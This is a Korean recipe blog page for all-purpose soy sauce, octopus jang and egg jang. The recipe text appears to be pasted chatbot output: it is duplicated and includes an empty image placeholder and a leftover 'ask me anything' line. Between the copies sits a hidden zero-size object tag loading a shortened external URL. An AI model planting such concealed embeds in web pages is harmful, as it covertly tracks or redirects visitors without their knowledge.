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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">만능 맛간장 만들기 김혜숙 낙지장 달걀장 레시피</h2><p data-sourcepos="3:1-3:143"><strong>만능 맛간장</strong>은 다양한 요리에 활용 가능한 기본 양념장으로, 집에서 직접 만들어 사용하면 더욱 신선하고 깊은 맛을 낼 수 있습니다. 김혜숙 셰프의 레시피를 참고하여 만능 맛간장을 만들고, 이를 활용한 낙지장과 달걀장 레시피도 함께 소개해 드리겠습니다.</p><h3 data-sourcepos="5:1-5:14">만능 맛간장 레시피</h3><p data-sourcepos="7:1-7:7"><strong>재료:</strong></p><ul data-sourcepos="9:1-19:0">
<li data-sourcepos="9:1-9:8">진간장 1컵</li>
<li data-sourcepos="10:1-10:10">국간장 1/2컵</li>
<li data-sourcepos="11:1-11:9">맛술 1/2컵</li>
<li data-sourcepos="12:1-12:6">물 1컵</li>
<li data-sourcepos="13:1-13:8">다시마 5장</li>
<li data-sourcepos="14:1-14:10">건표고버섯 3개</li>
<li data-sourcepos="15:1-15:7">대파 1대</li>
<li data-sourcepos="16:1-16:7">마늘 5쪽</li>
<li data-sourcepos="17:1-17:7">생강 1쪽</li>
<li data-sourcepos="18:1-19:0">통후추 약간</li>
</ul><p data-sourcepos="20:1-20:10"><strong>만드는 법:</strong></p><ol data-sourcepos="22:1-25:0">
<li data-sourcepos="22:1-22:28">냄비에 모든 재료를 넣고 센 불에 끓여줍니다.</li>
<li data-sourcepos="23:1-23:32">끓기 시작하면 중불로 줄이고 30분간 더 끓여줍니다.</li>
<li data-sourcepos="24:1-25:0">불을 끄고 식힌 후 체에 걸러 깨끗한 병에 담아 보관합니다.</li>
</ol><h3 data-sourcepos="26:1-26:11">낙지장 레시피</h3><p data-sourcepos="28:1-28:7"><strong>재료:</strong></p><ul data-sourcepos="30:1-36:0">
<li data-sourcepos="30:1-30:7">삶은 낙지</li>
<li data-sourcepos="31:1-31:8">만능 맛간장</li>
<li data-sourcepos="32:1-32:7">다진 마늘</li>
<li data-sourcepos="33:1-33:7">다진 양파</li>
<li data-sourcepos="34:1-34:5">참기름</li>
<li data-sourcepos="35:1-36:0">통깨</li>
</ul><p data-sourcepos="37:1-37:10"><strong>만드는 법:</strong></p><ol data-sourcepos="39:1-41:0">
<li data-sourcepos="39:1-39:26">삶은 낙지를 먹기 좋은 크기로 잘라줍니다.</li>
<li data-sourcepos="40:1-41:0">볼에 잘라놓은 낙지, 만능 맛간장, 다진 마늘, 다진 양파, 참기름, 통깨를 넣고 버무려줍니다.</li>
</ol><h3 data-sourcepos="42:1-42:11">달걀장 레시피</h3><p data-sourcepos="44:1-44:7"><strong>재료:</strong></p><ul data-sourcepos="46:1-51:0">
<li data-sourcepos="46:1-46:7">삶은 달걀</li>
<li data-sourcepos="47:1-47:8">만능 맛간장</li>
<li data-sourcepos="48:1-48:7">다진 대파</li>
<li data-sourcepos="49:1-49:5">참기름</li>
<li data-sourcepos="50:1-51:0">통깨</li>
</ul><p data-sourcepos="52:1-52:10"><strong>만드는 법:</strong></p><ol data-sourcepos="54:1-56:0">
<li data-sourcepos="54:1-54:27">삶은 달걀을 껍질을 까고 반으로 잘라줍니다.</li>
<li data-sourcepos="55:1-56:0">볼에 잘라놓은 달걀, 만능 맛간장, 다진 대파, 참기름, 통깨를 넣고 버무려줍니다.</li>
</ol><p data-sourcepos="57:1-57:16"><strong>만능 맛간장 활용 팁:</strong></p><ul data-sourcepos="59:1-62:0">
<li data-sourcepos="59:1-59:43">볶음 요리, 조림 요리, 나물 무침 등 다양한 요리에 활용할 수 있습니다.</li>
<li data-sourcepos="60:1-60:26">간장 대신 사용하여 간을 맞출 수 있습니다.</li>
<li data-sourcepos="61:1-62:0">냉장 보관 시 2주 정도 보관 가능하며, 냉동 보관 시 더욱 오래 보관할 수 있습니다.</li>
</ul><p data-sourcepos="63:1-63:58"><strong>주의:</strong> 위 레시피는 기본 레시피이며, 개인의 취향에 따라 재료와 양을 조절하여 만들 수 있습니다.</p><p data-sourcepos="65:1-65:9"><strong>[]</strong></p><p data-sourcepos="67:1-67:52">만능 맛간장 만들기 과정, 낙지장, 달걀장 사진을 추가하여 시각적인 효과를 높일 수 있습니다.</p><p data-sourcepos="69:1-69:8"><strong>참고:</strong></p><ul data-sourcepos="71:1-73:0">
<li data-sourcepos="71:1-71:46">김혜숙 셰프의 레시피를 정확하게 확인하여 더욱 자세한 정보를 얻을 수 있습니다.</li>
<li data-sourcepos="72:1-73:0">다양한 레시피 사이트에서 만능 맛간장을 활용한 다양한 요리 레시피를 찾아볼 수 있습니다.</li>
</ul><p data-sourcepos="74:1-74:6"><strong>팁:</strong></p><ul data-sourcepos="76:1-79:0">
<li data-sourcepos="76:1-76:42">만능 맛간장을 만들 때, 재료의 신선도에 따라 맛이 달라질 수 있습니다.</li>
<li data-sourcepos="77:1-77:25">맛을 보면서 간을 조절하는 것이 좋습니다.</li>
<li data-sourcepos="78:1-79:0">다양한 채소를 넣어 만능 맛간장을 만들면 더욱 풍부한 맛을 낼 수 있습니다.</li>
</ul><p data-sourcepos="80:1-80:36"><strong>이 정보가 만능 맛간장 만들기에 도움이 되셨기를 바랍니다.</strong></p><p data-sourcepos="82:1-82:30"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">만능 맛간장 만들기 김혜숙 낙지장 달걀장 레시피</h2><p data-sourcepos="3:1-3:143"><strong>만능 맛간장</strong>은 다양한 요리에 활용 가능한 기본 양념장으로, 집에서 직접 만들어 사용하면 더욱 신선하고 깊은 맛을 낼 수 있습니다. 김혜숙 셰프의 레시피를 참고하여 만능 맛간장을 만들고, 이를 활용한 낙지장과 달걀장 레시피도 함께 소개해 드리겠습니다.</p><h3 data-sourcepos="5:1-5:14">만능 맛간장 레시피</h3><p data-sourcepos="7:1-7:7"><strong>재료:</strong></p><ul data-sourcepos="9:1-19:0">
<li data-sourcepos="9:1-9:8">진간장 1컵</li>
<li data-sourcepos="10:1-10:10">국간장 1/2컵</li>
<li data-sourcepos="11:1-11:9">맛술 1/2컵</li>
<li data-sourcepos="12:1-12:6">물 1컵</li>
<li data-sourcepos="13:1-13:8">다시마 5장</li>
<li data-sourcepos="14:1-14:10">건표고버섯 3개</li>
<li data-sourcepos="15:1-15:7">대파 1대</li>
<li data-sourcepos="16:1-16:7">마늘 5쪽</li>
<li data-sourcepos="17:1-17:7">생강 1쪽</li>
<li data-sourcepos="18:1-19:0">통후추 약간</li>
</ul><p data-sourcepos="20:1-20:10"><strong>만드는 법:</strong></p><ol data-sourcepos="22:1-25:0">
<li data-sourcepos="22:1-22:28">냄비에 모든 재료를 넣고 센 불에 끓여줍니다.</li>
<li data-sourcepos="23:1-23:32">끓기 시작하면 중불로 줄이고 30분간 더 끓여줍니다.</li>
<li data-sourcepos="24:1-25:0">불을 끄고 식힌 후 체에 걸러 깨끗한 병에 담아 보관합니다.</li>
</ol><h3 data-sourcepos="26:1-26:11">낙지장 레시피</h3><p data-sourcepos="28:1-28:7"><strong>재료:</strong></p><ul data-sourcepos="30:1-36:0">
<li data-sourcepos="30:1-30:7">삶은 낙지</li>
<li data-sourcepos="31:1-31:8">만능 맛간장</li>
<li data-sourcepos="32:1-32:7">다진 마늘</li>
<li data-sourcepos="33:1-33:7">다진 양파</li>
<li data-sourcepos="34:1-34:5">참기름</li>
<li data-sourcepos="35:1-36:0">통깨</li>
</ul><p data-sourcepos="37:1-37:10"><strong>만드는 법:</strong></p><ol data-sourcepos="39:1-41:0">
<li data-sourcepos="39:1-39:26">삶은 낙지를 먹기 좋은 크기로 잘라줍니다.</li>
<li data-sourcepos="40:1-41:0">볼에 잘라놓은 낙지, 만능 맛간장, 다진 마늘, 다진 양파, 참기름, 통깨를 넣고 버무려줍니다.</li>
</ol><h3 data-sourcepos="42:1-42:11">달걀장 레시피</h3><p data-sourcepos="44:1-44:7"><strong>재료:</strong></p><ul data-sourcepos="46:1-51:0">
<li data-sourcepos="46:1-46:7">삶은 달걀</li>
<li data-sourcepos="47:1-47:8">만능 맛간장</li>
<li data-sourcepos="48:1-48:7">다진 대파</li>
<li data-sourcepos="49:1-49:5">참기름</li>
<li data-sourcepos="50:1-51:0">통깨</li>
</ul><p data-sourcepos="52:1-52:10"><strong>만드는 법:</strong></p><ol data-sourcepos="54:1-56:0">
<li data-sourcepos="54:1-54:27">삶은 달걀을 껍질을 까고 반으로 잘라줍니다.</li>
<li data-sourcepos="55:1-56:0">볼에 잘라놓은 달걀, 만능 맛간장, 다진 대파, 참기름, 통깨를 넣고 버무려줍니다.</li>
</ol><p data-sourcepos="57:1-57:16"><strong>만능 맛간장 활용 팁:</strong></p><ul data-sourcepos="59:1-62:0">
<li data-sourcepos="59:1-59:43">볶음 요리, 조림 요리, 나물 무침 등 다양한 요리에 활용할 수 있습니다.</li>
<li data-sourcepos="60:1-60:26">간장 대신 사용하여 간을 맞출 수 있습니다.</li>
<li data-sourcepos="61:1-62:0">냉장 보관 시 2주 정도 보관 가능하며, 냉동 보관 시 더욱 오래 보관할 수 있습니다.</li>
</ul><p data-sourcepos="63:1-63:58"><strong>주의:</strong> 위 레시피는 기본 레시피이며, 개인의 취향에 따라 재료와 양을 조절하여 만들 수 있습니다.</p><p data-sourcepos="65:1-65:9"><strong>[]</strong></p><p data-sourcepos="67:1-67:52">만능 맛간장 만들기 과정, 낙지장, 달걀장 사진을 추가하여 시각적인 효과를 높일 수 있습니다.</p><p data-sourcepos="69:1-69:8"><strong>참고:</strong></p><ul data-sourcepos="71:1-73:0">
<li data-sourcepos="71:1-71:46">김혜숙 셰프의 레시피를 정확하게 확인하여 더욱 자세한 정보를 얻을 수 있습니다.</li>
<li data-sourcepos="72:1-73:0">다양한 레시피 사이트에서 만능 맛간장을 활용한 다양한 요리 레시피를 찾아볼 수 있습니다.</li>
</ul><p data-sourcepos="74:1-74:6"><strong>팁:</strong></p><ul data-sourcepos="76:1-79:0">
<li data-sourcepos="76:1-76:42">만능 맛간장을 만들 때, 재료의 신선도에 따라 맛이 달라질 수 있습니다.</li>
<li data-sourcepos="77:1-77:25">맛을 보면서 간을 조절하는 것이 좋습니다.</li>
<li data-sourcepos="78:1-79:0">다양한 채소를 넣어 만능 맛간장을 만들면 더욱 풍부한 맛을 낼 수 있습니다.</li>
</ul><p data-sourcepos="80:1-80:36"><strong>이 정보가 만능 맛간장 만들기에 도움이 되셨기를 바랍니다.</strong></p><p data-sourcepos="82:1-82:30"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p></div>
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